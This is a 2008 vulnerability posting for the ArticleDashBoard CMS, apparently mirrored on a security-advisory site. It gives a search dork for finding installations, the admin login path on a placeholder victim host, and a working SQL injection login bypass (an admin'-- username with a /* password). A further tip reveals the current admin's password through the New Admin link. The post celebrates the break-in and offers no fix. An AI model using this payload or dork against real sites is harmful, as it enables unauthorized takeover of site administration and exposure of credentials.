Lucene search

K
securityvulnsSecurityvulnsSECURITYVULNS:DOC:18865
HistoryJan 16, 2008 - 12:00 a.m.

Article DashBoard all version SQL Injection Vulnerability

2008-01-1600:00:00
vulners.com
293

##########################################################################

ArticleDashBoard all version SQL Injection Vulnerability

Homepage: http://articledashboard.com/

Download: http://www.articledashboard.com/addxpc/ArticleDashboard.zip

SQL Injection Found by :

^ Xcross87 | xcross87.info | hcegroup.net

Thanks to: ^ RongChauA | reaonline.net | rongchaua.net

Dork : Powered by Article DashBoard

##########################################################################

SQL Injection Vulnerability :

Link admin: http://www.victim.com/[path]/admin/login.php

user | pass = admin'– | /*

Boomsssssss ! Top right corner…" Logged in as 'admin' "

Note:

  • This source all is encrypted !
  • If admin setup mode: 'New Admin' , move mouse to the New Admin link you can see the password of the
    present admin account that you're logging in.

[^$^] Enjoy !

=============================

- by Xcross87 | rongchaua

=============================